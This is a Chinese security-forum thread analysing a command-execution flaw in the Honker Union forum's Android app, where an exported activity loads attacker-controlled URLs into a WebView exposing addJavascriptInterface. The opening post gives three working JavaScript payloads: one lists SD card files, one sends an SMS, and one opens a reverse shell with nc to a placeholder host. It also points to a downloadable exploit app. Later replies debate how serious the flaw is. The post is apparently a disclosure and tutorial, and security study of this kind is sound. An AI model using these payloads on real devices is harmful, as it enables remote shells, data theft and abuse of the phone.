请选择 进入手机版 | 继续访问电脑版
查看: 6633|回复: 24

中国红客联盟app高危漏洞分析

[复制链接]
  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-3-23 21:36:05 | 显示全部楼层 |阅读模式
    本帖最后由 wuyan 于 2016-3-23 21:49 编辑

    ===================================

              红客联盟&Milw0rm有奖活动

    ===================================

    只针对安卓版的,为什么不测ios的,第一,我不会,第二,我用不起iphone。本次只对安卓组件进行了测试,发现了蛮多漏洞的,当然利用起来相当困难,本地当然比不上远程的。
    论坛app功能很简单,就是浏览,发帖回复之类的。但是由于开发者没有安全意识,导致出现命令执行,程序本地ddos等漏洞。
    1.命令执行漏洞
    老生常谈的问题,webview出现的问题,由于activity组件暴露,导致可以传入任意数据,插入恶意链接挂马之类的。可以直接用apktool等反编译。得到相关目录,主要看配置文件AndroidManifest.xml。发现很多组件暴露,有一个名字引起了我的注意,没错就是箭头部分。
    图片1.png
    可以看到,是允许被第三方程序调用的,跟进,看看具体的代码是怎样写的。没有任何干扰,直接可以反编译得到java代码。
    图片2.png
    代码不多,大概解释下,其中函数 initDatas的作用是初始化一些参数的值。好,那么值从哪里来getIntent().getStringExtra(“webViewUrl”)等等,没错,intent传输过来的键值对,那么意味着我们可以控制,继续跟进发现。
    图片3.png
    WebViewFragment类,骚年,我不知道你看到了PLUGIN_STR没有,当然并不是我们的重点。反正最后一路跟踪到了webview,loadUrl里面传的参数就是我们前面通过intent.getStringExtra(“webViewUrl”)得过来的。
    图片4.png
    图片5.png
    MCWebView类里面又调用addJavascriptInterface
    图片6.png
    那么一个完美的代码执行漏洞就产生了,当然这是谷歌的问题,在安卓低于4.2版本中webview调用addJavascriptInterface()接口会造成代码执行漏洞,具体的漏洞产生原因可以百度。
    受影响的系统:
    安卓版本4.2以下
    漏洞利用:
    写一段小代码来利用吧,我们尝试的利用这个漏洞读出内存卡里面的信息。
    然后我们再接着写下安卓利用程序,很简单的一个demo。
    图片7.png
    下面提供几段代码

    1.列出储存卡下的文件信息
    [HTML] 纯文本查看 复制代码
    <html>
       <body>
          <script>
             function execute(cmdArgs)
             {
                 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
     
             var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
             document.write(getContents(res.getInputStream()));
           </script>
       </body>
    </html>

    2.用10086发送一条短信
    [HTML] 纯文本查看 复制代码
    <html>
       <body>
          <script>
             var objSmsManager =     injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
              objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
           </script>
       </body>
    </html>

    3.反弹shell
    [HTML] 纯文本查看 复制代码
    <html>
       <body>
          <script>
             function execute(cmdArgs)
             {
                 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
             execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
           </script>
       </body>
    </html>

    (ps:这段js代码的意思就是列出储存卡里面的文件)
    首先将这写html代码保存上传到你的服务器,然后在
    图片8.png
    填入对应的链接就ok了。挂马啥的,挂网马啥的直接用msf测试吧。
    总结:
    安卓app漏洞(除网站接口暴露导致的web问题)利用起来本身就比较困难,还有其他几个漏洞危害也是微乎其微,就不写了。利用程序已打包,请自行下载。

    HackApp.zip (496.04 KB, 下载次数: 10)

    点评

    不明觉厉  发表于 2016-3-24 15:04

    评分

    参与人数 15人气 +2 i币 +103 贡献 +2 收起 理由
    小圈圈 + 1 给你1分吧
    sladjfksld + 5 感谢分享
    LiFi + 5 感谢分享
    Free_小东 + 1 + 20 + 1 分析的真不错
    契约 + 5
    clocks + 2 感谢分享
    08sec-君子 + 5 君甚吊,家翁知否..
    Linda + 3
    青青子衿、 + 10 支持原创
    wonderhan + 5 为技术加油点赞
    H.U.C-Star + 10 wanyan果然牛比的不要不要的!
    blackhold + 5 骚年,我很看好你哦!大好前程等着你.
    Te5tB99 + 1 + 10 涨知识了
    No0d1es + 5 为什么最多只能给5呢
    90_ + 12 + 1 可以的少年

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2020-1-16 21:33
  • 签到天数: 175 天

    [LV.7]常住居民III

    发表于 2016-3-27 01:51:01 | 显示全部楼层
    额,有些日子了,我本来以为懂事理的人一看就明白怎么回事了,但是事到如今我发现还是有很多盲目的人,并没有看到这个文章的精华,和问题的痛点。
    这个漏洞确实存在,但Android 4.2之后修复了。但是我要解释一下这里面的一些技术和这个漏洞可能存在的威胁。
    其实上面说的这个东西,叫做JsBridge,也就是webview中js和APP交互的东西,楼主也是利用了这个,所以执行了一些busybox命令。
    那么什么时候会出现这个问题呢?
    1.你的手机Android版本要符合这个漏洞 也就是分界点4.2.有兴趣的可以看一下Android SDK 的 JavascriptInterface注解 在android.webkit.JavascriptInterface;
    2:你的上网环境不安全。如果你被DNS劫持了,那么你访问ihonker.org被转到别的地方去了,访问了有恶意JS的页面,那么会造成这些问题。如果是我都能搞定你的网络,那我为何不想办法劫包。
    3:和第二点类似,就是我们的论坛真的出现了问题,被人插入了恶意JS并且能执行。我想到现在为止,还没看到,当然不排除可能会存在吧。这个确实是一个痛点,也希望真的有这种问题的时候大家及时发出来,论坛做到快速响应修复。
    4:上文说到用户所有的东西都会被拿走。我先说一下,这个不太现实,Android权限管理还是相当严格的。比如我们的App并不需要访问你联系人的权限,也不需要你短信的权限。我想了半天可能需要的就是你手机设备信息、定位、相册。而且在没ROOT的手机下adb shell的权限非常低,对系统造不成威胁,当然这是正常情况,可能存在漏洞,或者外部下载东西 被root
    5:如果你的手机ROOT了,我想了下,其实也还好。因为被root的时候都会提示你安装权限管理,在使用su切换adb用户的时候,权限管理明显会提示你,除非你没装这类软件。

    所以我想了下,可能这个文章作为教程还是不错的,但是用来打90的脸,或者作为一个噱头说是“高危”还是有些不妥。说白了,并没有达到高危。

    文章有很多精华,首先这个APK的缺陷 竟然没有混淆的代码,让楼主这么轻松就拿到了源码。这里使用的估计是apktool,
    楼主在反编译的时候我看像是 dex2jar  然后再用了 jd-gui。我也不太确定是不是,大半夜的就看了看图,也没找工具再详细比对。总是这些是可以做到的,楼主的分析也非常仔细,一步步的往下跟,但是这里还是要说一下,工欲善其事,必先利其器。推荐使用android studio做反编译jar分析。

    好了,这里该说的也说完了。
    感谢楼主的分析教程,也提醒盲目说什么打脸的,觉得非常惊悚的 朋友们 有一个清醒的头脑来分析流程。

    点评

    评论很精彩,不过安卓apploudon和大多数毕竟是本地的,想利用,真的很苛刻,还得给装个恶意软件啥的,有这条件,直接装木马了。  详情 回复 发表于 2016-3-27 08:11

    评分

    参与人数 1i币 +5 收起 理由
    wuyan + 5 666

    查看全部评分

    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-9-24 17:13
  • 签到天数: 187 天

    [LV.7]常住居民III

    发表于 2016-3-23 22:35:20 | 显示全部楼层
    666a啊骚年

    点评

    说6又不给币  详情 回复 发表于 2016-3-23 22:48
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2019-10-17 06:41
  • 签到天数: 182 天

    [LV.7]常住居民III

    发表于 2016-3-23 22:43:17 | 显示全部楼层
    666666不解释 打90脸啊!

    点评

    打的不够响啊  详情 回复 发表于 2016-3-23 22:47
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

     楼主| 发表于 2016-3-23 22:47:45 | 显示全部楼层
    小圈圈 发表于 2016-3-23 22:43
    666666不解释 打90脸啊!

    打的不够响啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2020-9-14 23:06
  • 签到天数: 537 天

    [LV.9]以坛为家II

    发表于 2016-3-23 22:47:46 | 显示全部楼层
    不是有源码吗~非要反编译。。。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

     楼主| 发表于 2016-3-23 22:48:09 | 显示全部楼层

    说6又不给币

    点评

    另外可以看到很多组件没有定义export这个,明显就是开发者没有详细阅读文档,这里export默认的都是true,除非显式的定义为false。这个开发这是谁,拖出去斩了  详情 回复 发表于 2016-3-24 20:59
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-5-31 10:36
  • 签到天数: 176 天

    [LV.7]常住居民III

    发表于 2016-3-23 22:50:27 来自手机 | 显示全部楼层
    这个逼,我为你转身!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-8-25 09:43
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2016-3-23 23:27:22 | 显示全部楼层
    666,这个客户端还是挺可怕的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2016-9-20 18:51
  • 签到天数: 40 天

    [LV.5]常住居民I

    发表于 2016-3-24 14:47:05 | 显示全部楼层
    膜拜无言牛,写的真棒
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-13 00:40
  • 签到天数: 444 天

    [LV.9]以坛为家II

    发表于 2016-3-24 19:13:19 | 显示全部楼层
    90的帅脸啊。哎哎呀呀!他会不会拉你去阴暗的地方找你聊聊呢
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表